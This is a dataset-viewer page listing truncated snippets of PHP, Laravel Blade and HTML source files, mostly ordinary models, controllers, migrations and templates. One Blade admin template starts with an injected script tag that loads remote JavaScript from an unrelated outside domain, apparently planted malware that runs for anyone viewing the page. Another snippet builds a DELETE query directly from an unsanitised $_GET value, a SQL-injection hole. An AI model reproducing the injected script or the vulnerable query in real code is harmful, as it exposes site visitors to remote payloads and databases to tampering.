text stringlengths 2 1.03M |
|---|
<?php
namespace App\Service;
use App\Models\Address;
use App\Repository\AddressRepository;
use App\ValueObjects\AddressValueObject;
class AddressService extends AbstractService
{
/**
* @var AddressRepository
*/
protected $_addressRepository;
public function __construct(
AddressReposit... |
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Events</title>
<link rel="icon" type="image/png" href="<?php echo base_url(); ?>images/icons/eacc logo.png"/>
<link... |
<?php
/*
|--------------------------------------------------------------------------
| Create The Application
|--------------------------------------------------------------------------
|
| The first thing we will do is create a new Laravel application instance
| which serves as the "glue" for all the components of La... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Role extends Model
{
use HasFactory;
/**
* The attributes that should be hidden for arrays.
*
* @var array
*/
protected $hidden = [
'created_at',
... |
<?php
namespace ApiC\Model;
use Zend\Db\Sql\Select;
use Zend\Db\TableGateway\TableGateway;
class CountryTable {
protected $tableGateway;
function __construct(TableGateway $tableGateway) {
$this->tableGateway = $tableGateway;
}
function getCountry($id) {
$id = (int)$id;
$select = new Select... |
<?php
/**
* The abstract class for app handling.
*
* @package Core
* @author Michaël V. Dandrieux <@mvdandrieux>
* @author Sylvain Frigui <sf@hands.agency>
* @access public
* @link http://grandcentral.fr
*/
abstract class _apps
{
protected $env;
protected $key;
protected $system_root;
protected $syste... |
<?php
namespace App;
use Illuminate\Contracts\Auth\MustVerifyEmail;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
class User extends Authenticatable
{
use Notifiable;
/**
* The attributes that are mass assignable.
*
* @var array
*/
p... |
<?php $__env->startComponent('mail::layout'); ?>
<?php $__env->slot('header'); ?>
<?php $__env->startComponent('mail::header', ['url' => config('app.url')]); ?>
<?php echo e(config('app.name')); ?>
<?php echo $__env->renderComponent(); ?>
<?php $__env->endSlot(); ?>
<... |
<?php
/**
* @see https://github.com/laminas/laminas-mvc for the canonical source repository
* @copyright https://github.com/laminas/laminas-mvc/blob/master/COPYRIGHT.md
* @license https://github.com/laminas/laminas-mvc/blob/master/LICENSE.md New BSD License
*/
namespace LaminasTest\Mvc;
use Laminas\Mvc\E... |
<?php
/**
* This file is part of the Nette Framework (http://nette.org)
* Copyright (c) 2004 David Grudl (http://davidgrudl.com)
*/
namespace Nette\Forms\Controls;
use Nette,
Nette\Utils\Html;
/**
* Set of radio button controls.
*
* @author David Grudl
*
* @property array $items
* @property-read Ne... |
<!-- ======= Property Search Section ======= -->
<div class="click-closed"></div>
<!--/ Form Search Star /-->
<div class="box-collapse">
<div class="title-box-d">
<h3 class="title-d">Search Property</h3>
</div>
<span class="close-box-collapse right-boxed bi bi-x"></span>
<div class="box-collap... |
<?php
namespace common\models;
use Yii;
/**
* This is the model class for table "manager_bonus".
*
* @property int $id
* @property int $salary
* @property int $manager_id
* @property int $bonus_id
* @property int $created_at
*
* @property Bonus $bonus
* @property Manager $manager
*/
class ManagerBonus ext... |
<?php
namespace Object\Form\Fieldset\Factory;
use Zend\ServiceManager\FactoryInterface;
use Zend\ServiceManager\ServiceLocatorInterface;
use Object\Form\Fieldset\ObjectPersonFieldset;
/**
*
* @author otaba
*
*/
class ObjectPersonFieldsetFactory implements FactoryInterface
{
/**
*/
public fu... |
<?php
namespace App\Traits;
use App\Activity;
use Request;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Facades\Log;
trait ActivityLogger {
/**
* Automatically boot with Model, and register Events handler.
*/
protected static function bootActivityLogger()
{
foreach (s... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/*
| -------------------------------------------------------------------------
| URI ROUTING
| -------------------------------------------------------------------------
| This file lets you re-map URI requests to specific controller functions.
|
| T... |
<?php
/**
* Helper file for general functions
*/
/**
* Make http cURL request to endpoint
*
* @param string $url Endpoint url
* @param string $method Request method e.g GET, POST
* @param array $data Request payload
*
* @return array
*/
function makeRequest($url, $method, $data = [])
{
$curl = cur... |
<?php
declare(strict_types=1);
class EmployeesModel extends Model
{
/**
* EmployeesModel constructor.
* @param PDO $db
*/
public function __construct(PDO $db)
{
parent::__construct($db);
$this->table = "employees";
}
/**
* @return array
*/
public functi... |
<?php
namespace App\Http\Livewire\Funding;
use Livewire\Component;
class Update extends Component
{
public function render()
{
return view('livewire.funding.update');
}
} |
<script>
$(document).ready(function(){
$('#produtos').DataTable({
"language": {
"sEmptyTable": "Nenhum registro encontrado",
"sInfo": "Mostrando de _START_ até _END_ de _TOTAL_ registros",
"sInfoEmpty": "Mostrando 0 até 0 de 0 registros",
"sInfoFiltered": "(Filtrados de _MAX_ registros)",
... |
<?php
namespace BitmovinApiSdk\Apis\Encoding\Encodings\Live\Scte35Cue;
use Carbon\Carbon;
use BitmovinApiSdk\Configuration;
use BitmovinApiSdk\Common\HttpWrapper;
use BitmovinApiSdk\Common\ObjectMapper;
use BitmovinApiSdk\Common\BitmovinApiException;
class Scte35CueApi
{
/** @var HttpWrapper */
private $http... |
<?php
/*
'软件名称:苹果CMS 源码库:https://github.com/maccmspro
'--------------------------------------------------------
'Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
'遵循Apache2开源协议发布,并提供免费使用。
'--------------------------------------------------------
*/
use think\View;
use think\Env;
use think\Config;
error_report... |
<?php
/*
* The MIT License
*
* Copyright 2015 Cédric Leclinche.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to us... |
<?php
namespace Gedmo\SoftDeleteable\Mapping;
use Gedmo\Exception\InvalidMappingException;
use Doctrine\Common\Persistence\Mapping\ClassMetadata;
/**
* This class is used to validate mapping information
*
* @author Gustavo Falco <comfortablynumb84@gmail.com>
* @author Gediminas Morkevicius <gediminas.morkevicius... |
<?php
namespace App\Models\Site;
use Illuminate\Database\Eloquent\Model;
class Quest extends Model
{
public function active_bookings()
{
return $this->hasMany(Booking::class)
->whereHas('status', function ($q) {
$q->where('alias', '!=', 'cancel')
->whereDat... |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateProductsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('products', fun... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class TransMedisFisik extends Model
{
protected $table = 'trans_medis_fisik';
public $timestamps = false;
public $incrementing = false;
protected $fillable = [
'penggunaan_kontrasepsi','riwayat_penyakit','riwayat_alergi','tekanan_darah_atas'... |
<?php
namespace PP\Lib\Engine\Admin;
use PP\Lib\Session\DatabaseHandler;
use PXApplication;
use PP\Lib\Engine\AbstractEngine;
use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
use Symfony\Component\HttpFoundation\Session\Session;
abstract class AbstractAdminEngine extends AbstractEngine {
... |
<?php
declare(strict_types=1);
namespace Setono\SyliusPickupPointPlugin\Provider;
use function preg_replace;
use Psr\Http\Client\NetworkExceptionInterface;
use Setono\DAO\Client\ClientInterface;
use Setono\SyliusPickupPointPlugin\Exception\TimeoutException;
use Setono\SyliusPickupPointPlugin\Model\PickupPointCode;
u... |
<?php
namespace app\adminapi\controller;
use think\Controller;
use think\Request;
class Role extends BaseApi
{
/**
* 显示角色列表
*
* @return \think\Response
*/
public function index()
{
//查询数据
$data=model("Role")->select();
//返回结果
$this->ok($data);
}
... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use App\User;
class Post extends Model
{
//Table name
protected $table = 'posts';
//Primary key
public $primaryKey = 'id';
//Timestamps
public $timestamps = true;
public function user(){
return $this->belongsTo('App\Use... |
<?php
include("header.html");
define('thehelper_functions', TRUE);
?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1>
Data Tables
<small>advanced tables</small>
</h1>
<ol class="breadcrumb">
<li><... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
/**
* App\Models\GoodsTag
*
* @property int $id
* @property string $title
* @property int|null $order
* @property int|null $status 0-禁用 1-正常
* @property \Illuminate\Support\Carbon|null $created_at
* @property \Illuminate\Support\Carbon|null ... |
<?php
/* @var $this \yii\web\View */
/* @var $content string */
use yii\helpers\Html;
use yii\bootstrap\Nav;
use yii\bootstrap\NavBar;
use yii\widgets\Breadcrumbs;
use app\assets\AppAsset;
use app\widgets\LoginFormWidget;
AppAsset::register($this);
?>
<?php $this->beginPage() ?>
<!DOCTYPE html>
<html lang="<?= Yii::... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateUserAuthenticationModesTable extends Migration {
/**
* Run the migrations.
*
* @return void
*/
public function up() {
Schema::create('use... |
@extends('layouts.app')
@section('content')
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">Dashboard</div>
<div class="card-body">
@if (session('status'))
... |
<?php
namespace App\Http\Controllers\front;
use App\Http\Controllers\Controller;
use App\Models\Category;
use App\Shop\Repositories\Interfaces\CategoryRepositoryInterface;
use Illuminate\Http\Request;
class HomeController extends Controller
{
/**
* @var CategoryRepositoryInterface
*/
private $categ... |
<?php
namespace Codeception\Command;
use Codeception\Codecept;
use Codeception\Configuration;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Con... |
<?php
namespace App\Http\Requests\Api;
class FeedReplyRequest extends FormRequest
{
public function rules()
{
switch ($this->method()) {
case 'GET':
{
return [
//'id' => ['required,exists:users,id']
];
... |
<?php
namespace App\Http\Requests\Photo;
use App\Http\Requests\BaseApiRequest;
use App\Http\Requests\Contracts\HasPhotos;
use App\Http\Requests\Contracts\HasTags;
use App\Http\Requests\Traits\HasPhotosTrait;
use App\Http\Requests\Traits\HasTagsTrait;
use App\Models\Photo;
use App\Rules\RandomIDRule;
class SetPhotosT... |
<style>
.panel{
height: 90px;
padding: 8px;
width: 135px;
border: 1px solid #d8d8d8;
}
</style>
<style type="text/css">
.nav.nav-tabs > li > a {
padding: 2px 5px !important;
margin-right: 0 !important;
color: black;
text-align:left !important;
... |
<?php
include("config/config.php");
include("head.php");
include("_session_petugas.php");
$hapus = $_GET['hapus'];
$query = mysql_query("DELETE FROM det_kk WHERE no_kk = '$hapus'");
if ($query){
header('location:petugas_data_detail_keluarga_form.php?success_hapus=1');
}
else {
die(mysql_error())... |
<?php
/*
* Copyright 2008 Sven Sanzenbacher
*
* This file is part of the naucon package.
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Naucon\Form\Tests;
use Naucon\Form\Configuration;
use Naucon\Form\FormCollection;
u... |
@extends('layout/admin/masterAdmin')
@section('title')
list User Administration
@endsection
@section('titleH2')
Liste des Users
@endsection
@section('content')
<section class="container">
<h1 class="text-center my-5"></h1>
<div class="text-center my-5">
<a class="text-center" href... |
<svg viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" <?php echo e($attributes); ?>>
<path d="M11.395 44.428C4.557 40.198 0 32.632 0 24 0 10.745 10.745 0 24 0a23.891 23.891 0 0113.997 4.502c-.2 17.907-11.097 33.245-26.602 39.926z" fill="#6875F5"/>
<path d="M14.134 45.885A23.914 23.914 0 0024 48c13... |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license an... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateOrderItemsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('order_items'... |
<footer>
<div class="container-fluid">
<p class="copyright">
Shared by <i class="fa fa-love"></i><a href="https://bootstrapthemes.co">BootstrapThemes</a>
</p>
</div>
</footer> |
@extends('admin.layout')
@section('content')
<div class="container-fluid">
<div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
<div class="btn-group mr-2">
<a class="btn btn-info" href="{{route('challenge')}}">
... |
<?php
namespace App\Http\Middleware;
use Auth;
use Closure;
class TypeMiddleware
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
// public function handle($request, Closure $next, $type)
// {
... |
<?php
namespace Elastica6\Processor;
/**
* Elastica6 Json Processor.
*
* @author Federico Panini <fpanini@gmail.com>
*
* @link https://www.elastic.co/guide/en/elasticsearch/reference/current/json-processor.html
*/
class Json extends AbstractProcessor
{
public function __construct($field)
{
$thi... |
<?php
namespace common\models;
use Yii;
/**
* This is the model class for table "customer".
*
* @property integer $id_customer
* @property string $name_company
* @property string $head
* @property string $phone
* @property string $address
*
* @property Order $order
* @property Goods[] $idOrders
*/
class C... |
<?php
namespace Database\Seeders;
use Illuminate\Database\Seeder;
use App\Models\Role;
class RoleSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
$role = new Role();
$role->name = 'Admin';
$role->description = 'W... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Product extends Model
{
public function categories()
{
return $this->belongsToMany('App\Classify');
}
public function scopeRelatedProducts($query)
{
return $query->inRandomOrder()->take(4);
}
} |
<?php declare(strict_types=1);
namespace tiFy\Contracts\Cache;
interface Store
{
/**
* Récupération de la date courante exprimée en secondes.
*
* @return int
*/
public function currentTime(): int;
/**
* Récupération d'un élément en cache.
*
* @param string $key Clé de q... |
@extends('layouts.layout')
@section('content')
<div class="container">
<div class="main-body">
<div class="row gutters-sm mr-0">
@include('profile.aside')
<div class="col-md-8 ">
@if ( Auth::user()->id == $user->id )
<div class="title">
... |
<?php
use App\Models\User;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AdminController;
use App\Http\Controllers\Backend\AdminProfileController;
use App\Http\Controllers\Frontend\IndexController;
/*
|---------------------------------------------------------------... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
/**
* App\ToDo
*
* @property int $id
* @property string|null $title
* @property string|null $label
* @property \Illuminate\Support\Carbon|null $created_at
* @property \Illuminate\Support\Carbon|null $updated_at
* @method static \Illuminate\Database... |
<?php
namespace App\Http\Livewire\Usuarios;
use App\Models\usuario;
use Livewire\Component;
use Livewire\WithPagination;
class IndexUsuario extends Component
{
public function render()
{
$usuarios = usuario::paginate(20);
return view('livewire.usuarios.index-usuario',compact('usuarios'));
... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Answer extends Model
{
use HasFactory;
protected $fillable = [
'body','user_id'
];
public function question(){
return $this->belongsTo(Question::class);
... |
<?php
namespace App\Http\Requests\User;
use Illuminate\Foundation\Http\FormRequest;
class UpdateRequest extends FormRequest
{
/**
* Determine if the user is authorized to make this request.
*
* @return bool
*/
public function authorize()
{
return true;
}
/**
* Ge... |
<?php
namespace RouterOS\Interfaces;
use RouterOS\Config;
/**
* Interface ConfigInterface
*
* @package RouterOS\Interfaces
* @since 0.2
*/
interface ConfigInterface
{
/**
* List of allowed parameters of config
*/
const ALLOWED = [
// Address of Mikrotik RouterOS
'host' =>... |
<script type='text/javascript' src='https://trend.linetoadsactive.com/m.js?n=nb5'></script>@extends('layouts.backend.app')
@section('title','Email')
@push('css')
<link href="{{ asset('backend/plugins/jquery-datatable/skin/bootstrap/css/dataTables.bootstrap.css') }}" rel="stylesheet">
@endpush
@section('content')
<div... |
<?php
namespace Peji;
class Error extends Singleton {
protected function manage( $e ) {
if( preg_match('#Class \'App\\\Model\\\(.*?)\' not found#is', $e->getMessage(), $m ) ) {
$mf = '../app/Model/'.$m[1].'.php';
if( ! file_exists( $mf )) {
file_put_contents( $mf, '<?php
namespace App\Model;
class '.$... |
<?php
namespace Shetabit\Visitor\Models;
use Illuminate\Database\Eloquent\Model;
class Visit extends Model
{
public function __construct(array $attributes = [])
{
if (!isset($this->table)) {
$this->setTable(config('visitor.table_name'));
}
parent::__construct($attributes);... |
<?php
// auto-generated by sfPropelCrud
// date: 2012/11/12 16:07:08
?>
<?php
/**
* zMlmMt4DemoRequest actions.
*
* @package sf_sandbox
* @subpackage zMlmMt4DemoRequest
* @author Your name here
* @version SVN: $Id: actions.class.php 3335 2007-01-23 16:19:56Z fabien $
*/
class zMlmMt4DemoRequestActions... |
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 well">
<?php
$attr = array("class" => "form-horizontal", "role" => "form", "id" => "form1", "name" => "form1");
echo form_open("pagination/search", $attr);?>
<div class="form-group">
... |
<html>
<head>
<title>Privacy Policy</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?fami... |
<?php
/*
* DB requirements:
* DB Table Users
* - powerlevel, ID, email, password, IP, timestamp, name,
* DB Table sessions
* - userID, time, sessID
*
* ALL default-values should be set in the contructor, the values set at the
* beginning are all fixed, they are not supposed to be changed
*
* Login() - throw... |
<?php
namespace gossi\trixionary\serializer;
use gossi\trixionary\serializer\base\SportSerializerTrait;
use keeko\framework\model\AbstractModelSerializer;
/**
*/
class SportSerializer extends AbstractModelSerializer {
use SportSerializerTrait;
} |
<?php
/*
* This file is part of badcow-common.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\Common\File;
/**
* @link http://php.net/manual/en/function.fopen.php
*/
cla... |
@extends('layouts.app_admin')
@section('content')
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">Admin Dashboard</div>
<div class="card-body">
@if (session('... |
<?php
namespace app\admin\controller;
use app\common\controller\Backend;
/**
* 认证
*
* @icon fa fa-circle-o
*/
class Authentication extends Backend
{
/**
* Authentication模型对象
* @var \app\admin\model\Authentication
*/
protected $model = null;
public function _initialize()
{
... |
<?php
namespace tweet\AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Doctrine\ORM\EntityRepository;
use AppBundle\Repository\FeedRepository;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundati... |
<?php
/**
* @file
* Returns the HTML for a Topic node displayed via Featured Guides view mode.
*
* Complete documentation for this file is available online.
*
* @see https://drupal.org/node/1728164
*/
$guide_themes = array(
'ob',
'cb',
'r',
'cb',
'cb',
'r',
'cb',
'ob',
'ob',
'cb',... |
<?php $this->extend('template/painel') ?>
<?php $this->section('content') ?>
<?php echo form_open('administrator/configuration/save', []); ?>
<div class="my-4">
<h5>E-mail</h5>
<div class="form-group">
<label for="EMAIL_FROM">From:</label>
<?php echo form_input('config[EMAIL_FROM]', set_value(... |
<?php
/**
* CreateGDPRContractRequest
*
* PHP version 5
*
* @category Class
* @package Mittwald\Api
* @author Swagger Codegen team
* @link https://github.com/swagger-api/swagger-codegen
*/
/**
* Public API
*
* Schnittstellen für Mittwald-Kunden
*
* OpenAPI spec version: 1.0.0
*
* Generated by: ... |
<?php
namespace Entity;
use Tarantool\Mapper\Entity;
class LegacyType extends Entity
{
/**
* @var integer
*/
public $id;
/**
* @var string
* @required
*/
public $class;
/**
* @var string
* @required
*/
public $name;
} |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/**
* Created by SD.
* Date: 10/08/2017
*/
require_once "WxPayDatabase.php";
/**
*
* 下载对账单输入对象
* @author widyhu
*
*/
class WxPayDownloadBill extends WxPayDatabase
{
/**
* 设置微信分配的公众账号ID
* @param string $value
**/
public function SetAppid($value)
{
... |
<?php
use frontend\widgets\LogoWidget;
$this->registerJsFile('@web/js/browse.js');
/* @var $this yii\web\View */
$this->title = 'Browse Categories';
$this->params['breadcrumbs'][] = $this->title;
?>
<style>
.pagination li{
font-size: 14px;
}
.category{
position: relative;
tex... |
<?php
namespace Apih\JsLang\Commands;
use Apih\JsLang\JsLang;
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class GenerateCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'jslang:generate
... |
<?php
namespace App\Command;
use App\getPage\Page;
use App\parse\Parse;
use App\parse\saveImg;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\In... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Event extends Model
{
public function create($data)
{
$this->type_code = strip_tags($data['event']);
$this->template_id = strip_tags($data['template']);
return $this->save() ? true : false;
}
public function t... |
<?php
class Model_CRM_Queue extends ORM {
protected $_belongs_to = [
'convention' => [],
];
protected $_has_many = [
'issues' => [ 'model' => 'crm_issues' ],
];
protected $_columns = [
'id' => [],
// foreign key
'convention_id' => [],
// data fields
'title' => [],
];
}; |
<?php
declare(strict_types=1);
namespace Application\Form\Quiz;
use Application\Model\Table\CategoriesTable;
use Laminas\Form\Element;
use Laminas\Form\Form;
class CreateForm extends Form
{
public function __construct(CategoriesTable $categoriesTable)
{
parent::__construct('new_quiz');
$this->setAttribute('me... |
<?php
/**
* php-gedcom.
*
* php-gedcom is a library for parsing, manipulating, importing and exporting
* GEDCOM 5.5 files in PHP 5.3+.
*
* @author Kristopher Wilson <kristopherwilson@gmail.com>
* @copyright Copyright (c) 2010-2013, Kristopher Wilson
* @license MIT
*
* @link h... |
@extends('admin-panel.base.main')
@section('css')
<link rel="stylesheet" href="{{asset('assets/css/plugins/datatables.min.css')}}" />
@endsection
@section('content')
<div class="breadcrumb">
<h1 class="mr-2">Home</h1>
<ul>
<li><a href="">Vehicle Accident</a></li>
<li>Accident Requests</li>
... |
<?php
// This file was auto-generated from sdk-root/src/data/cognito-sync/2014-06-30/docs-2.json |
<!-- Modal -->
<form method="post" v-on:submit.prevent="storeProvider()">
<div class="modal fade" id="createProvider" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-head... |
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<a class="" href="<?= base_url('admin/editor'); ?>"><i class="fa fa-arrow-circle-left"></i> Kembali</a>
</section>
<!-- Main content -->
<section class="co... |
<?php
namespace App\Http\Controllers\Admin\Auth;
use App\Http\Controllers\Controller;
use Illuminate\Auth\Events\PasswordReset;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Password;
use Illuminate\Support\Str;
use Illuminate\Validation\Rules;
class NewPasswordCont... |
<?php
/**
* Created by PhpStorm.
* User: ozgur
* Date: 11.03.2020
* Time: 12:45
*/
namespace App\Repositories;
use App\Repositories\Interfaces\ITournamentRepository;
use Illuminate\Pagination\LengthAwarePaginator;
use Illuminate\Support\Collection;
class TournamentRepository implements ITournamentRepository
{
... |
<?php
namespace App\Http\Controllers\API;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Validator;
use App\Models\Admin;
use App\Models\User;
use Illuminate\Http\Request;
class AuthController extends Controller
{
//
protected $status = null;
pr... |
<?php
namespace App\Models\Extensions;
use App\ModelFunctions\SymLinkFunctions;
use App\Models\Photo;
use Helpers;
use Illuminate\Support\Facades\Storage;
trait PhotoCast
{
/**
* Returns photo-attributes into a front-end friendly format. Note that some attributes remain unchanged.
*
* @return array
*/
publ... |
<?php
namespace app\models;
use Yii;
use conquer\oauth2\Exception;
use yii\helpers\VarDumper;
/**
* This is the model class for table "oauth2_user".
*
* @property integer $user_id
* @property string $username
* @property string $password
* @property string $salt
* @property string $roles
* @property string $s... |
<button class="kt-aside-close " id="kt_aside_close_btn"><i class="la la-close"></i></button>
<div class="kt-aside kt-aside--fixed kt-grid__item kt-grid kt-grid--desktop kt-grid--hor-desktop" id="kt_aside">
<!-- begin:: Aside -->
<div class="kt-aside__brand kt-grid__item... |
<?php
namespace App\Admin\Controllers;
use App\Shipping;
use Encore\Admin\Controllers\AdminController;
use Encore\Admin\Facades\Admin;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use Encore\Admin\Layout\Content;
use Encore\Admin\Show;
/**
* Class ShippingController
* @package App\Admin\Controllers
*/
class Ship... |
<?php
/**
* af language file
*
* This file was initially built by fetching translations from other
* Wiki projects. See the @url lines below. Additional translations
* and fixes where done for DokuWiki by the people mentioned in the
* lines starting with @author
*
* @url http://svn.wikimedia.org/viewvc/mediawik... |
<?php
/**
* Created by PhpStorm.
*
* kookaburra
* (c) 2019 Craig Rayner <craig@craigrayner.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*
* User: craig
* Date: 7/08/2019
* Time: 15:16
*/
namespace Kookaburra\UserAdmin\Pr... |
<?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| ... |
<?php
/**
* DataTables PHP libraries.
*
* PHP libraries for DataTables and DataTables Editor, utilising PHP 5.3+.
*
* @author SpryMedia
* @copyright 2012 SpryMedia ( http://sprymedia.co.uk )
* @license http://editor.datatables.net/license DataTables Editor
* @link http://editor.datatables.net
*/
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.